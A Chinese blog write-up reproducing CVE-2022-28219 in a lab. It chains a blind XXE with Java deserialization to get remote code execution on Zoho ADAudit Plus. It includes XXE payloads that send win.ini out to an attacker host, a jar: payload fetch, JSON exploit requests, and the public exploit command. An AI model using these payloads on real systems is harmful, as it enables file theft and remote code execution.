CVE-2022-28219 Zoho组合Java XXE和反序列化漏洞实现RCE

·
Java代码审计 no tag July 13, 2022

CVE-2022-28219 Zoho组合Java XXE和反序列化漏洞实现RCE

1.1漏洞信息

https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html

image-20220712094539943

All ADAudit Plus 7060之前 存在 XXE Java反序列化和目录穿越漏洞

1.2环境搭建

我们选择搭建7060前面一个版本。

https://archives2.manageengine.com/active-directory-audit/

下载文件搭建就行了,自己搭建一个域控制器。

image-20220712110904412

2.1 JAVA XXE漏洞分析

之前也在CTF中遇到过java协议的题。在Java中提供了一个伪协议jar://,能从远程获取JAR包中的文件。并且可以将jar包指定文件解压出来。

jar:{url}!/{entry}

url是远程文件路径,entry是解压出来的文件。

jar协议处理流程如下

  • 下载JAR包或者ZIP文件到远程服务器的临时路径中
  • 提取指定文件
  • 删除临时文件

因为有临时文件的存在,所以可以上传临时文件。这里为了延长临时文件存在的时间采用了GitHub上的BlockingServer代码。在请求完成后一直保持链接。

https://github.com/pwntester/BlockingServer

我们来试试

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

        <!ENTITY xxe SYSTEM "jar:http://127.0.0.1:9999/test.zip!/test1.txt">

        ]>

<root>&xxe;</root>

先来个test1.txt 这个文件是不存在的 因此可以暴露出临时文件的位置

image-20220712120808732

在实际利用的时候可以用file:// 等协议列目录寻找临时文件的位置

2.2 反序列化漏洞

把搭建好的文件都复制出来准备调试。

修改run.bat 然后管理员运行run.bat启动调试

set JAVA_OPTS=-Xmx512m -Dcatalina.home="%SERVER_HOME%" -Dserver.home="%SERVER_HOME%" -Dlog.dir="%SERVER_HOME%" -Ddb.home="%DB_HOME%" -Djava.library.path="%SERVER_HOME%\lib\native" -Dserver.stats=10000  -Dfile.encoding="utf8" -Djava.util.logging.manager="org.apache.juli.ClassLoaderLogManager" -Djava.util.logging.config.file="%SERVER_HOME%/conf/logging.properties" -Dserver.stats=10000 -Dcheck.tomcatport="true" -Dhaltjvm.on.dbcrash="true" -Duser.home="%SERVER_HOME%\logs" -Dorg.apache.catalina.authenticator.Constants.SSO_SESSION_COOKIE_NAME=JSESSIONIDADAPSSO   -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

首先在webappsadapWEB-INFweb.xml中找到CewolfServlet这个Servlet就是CVE-2020-10189的反序列化漏洞点。

image-20220712155518829

image-20220712155526586

我们来看一下这个地方

image-20220712155458279

我们主要看这里

image-20220712160034315

跟进getChartImage

image-20220712160930460

重点看FileStorage

image-20220712161020210

这里对文件反序列化。而且这个没有任何的过滤。

所以我们直接get就可以到达这个地方

image-20220712162200779

image-20220712162206400

因为ADAudit引用了Commons-beanutils库。所以可以生成CB载荷test.png,然后尝试攻击。

image-20220712182140135

image-20220712182157287

寻找xxe漏洞

所以为了写入文件,这就引入到上面所说的写入临时文件。

补丁对比发现com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListener对XML进行了修补:

image-20220713101201532

修复用了一下新的工具类SecurityUtil.getDocumentBuilder()

我们看下它是从哪里触发的。在parseTaskContent处下断点。简单分析下流程。

image-20220713102732825

找到这个ADAPAgentAPIServlet然后继续看

image-20220713102843641

这里无论是Get还是Post都到了processRequest里。然后进入executeAgentRequest

这里有一个反射调用

image-20220713103000691

这里传参试了半天get不行,最后尝试POST才有mappingInfo的值。这里进入AgentDataHandler.class

image-20220713104440604

发现需要一个JSON格式的数据。重新传

image-20220713104744010

image-20220713104414158

到达EventDataAdapter.notify

image-20220713104738444

这里把data也就是我传入的值都当作map存进来。

然后看看是哪里处理的。到这个地方

image-20220713105407599

在下面会调用ProcessMonitor.process(modData);

image-20220713110038930

这个process函数需要一些参数才能运行

[{        "DomainName": "whoamianony.org",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<XXE_PAYLOAD>"}]

然后进入addEventRows

image-20220713110653705

进入这个后在进入

image-20220713110728681

image-20220713110754960

终于到了我们处理XML这里

image-20220713110820769

因此存在一个blindXXE。

我们尝试借助xxe-ftp-server,利用blindXXE漏洞列出file://临时文件的位置。

https://github.com/LandGrey/xxe-ftp-server

直接启动py -2 .\xxe-ftp-server.py 127.0.0.1 3000 2122

[{        "DomainName": "whoamianony.org",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [  <!ENTITY % file SYSTEM \"file:///c:/windows/win.ini\">  <!ENTITY % dtd SYSTEM \"http://192.168.111.1:3000/data.dtd\"> %dtd;]><data>&send;</data>"}]

发送就可以读到文件。我们先用jar协议上传临时文件java BlockingServer 9999 shell.zip

[{        "DomainName": "whoamianony.org",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [        <!ENTITY xxe SYSTEM \"jar:http://192.168.111.1:9999/shell.jar!/test.txt\">        ]><root>&xxe;</root>"}]

shell.jar是我们的序列化文件

image-20220713114239845

发现了缓存文件。于是反序列化该文件成功弹窗

image-20220713115018221

参考

https://www.horizon3.ai/red-team-blog-cve-2022-28219/

这个CVE带我们展现了XXE漏洞的几个用法,一是利用xxe-ftp-server来列目录。寻找文件。二是通过jar协议配合工具来达到写缓存文件的目的。

这个ZohoManage同时存在XXE和任意文件的反序列化,且内部存在CB链。导致了命令执行。

EXP:https://github.com/horizon3ai/CVE-2022-28219

尝试了下可以RCE

py -3 CVE-2022-28219.py -t http://192.168.44.130:8081 -l 192.168.111.1 -d  whoamianony.org -c calc.exe
  • CVE-2022-27925复现
  • minikube安装
取消回复

说点什么?

© 2023 Yang_99的小窝. Using Typecho & Moricolor.